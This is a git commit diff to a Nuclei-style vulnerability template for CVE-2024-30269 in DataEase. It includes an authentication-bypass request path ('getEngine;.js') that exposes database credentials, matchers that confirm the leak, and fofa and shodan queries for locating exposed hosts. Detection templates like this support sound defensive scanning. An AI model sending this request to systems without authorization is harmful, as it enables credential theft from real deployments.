Update CVE-2024-30269.yaml

patch-12
Ritik Chaddha 2024-09-30 12:55:07 +04:00 committed by GitHub
parent a95e83b154
commit 84f8575ac3
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 5 additions and 6 deletions

View File

@ -25,18 +25,17 @@ info:
product: dataease
fofa-query: body="dataease"
shodan-query: http.html:"dataease"
tags: cve,cve2024,dataease,info-leak
tags: cve,cve2024,dataease,exposure
http:
- raw:
- |
GET /de2api/engine/getEngine;.js HTTP/1.1
Host: {{Hostname}}
- method: GET
path:
- "{{BaseURL}}/de2api/engine/getEngine;.js"
matchers:
- type: dsl
dsl:
- 'contains_all(body,"username", "password", "port")'
- 'contains_all(body, "username", "password", "port", "name\":", "pid\":")'
- 'contains(content_type,"application/json")'
- 'status_code == 200'
condition: and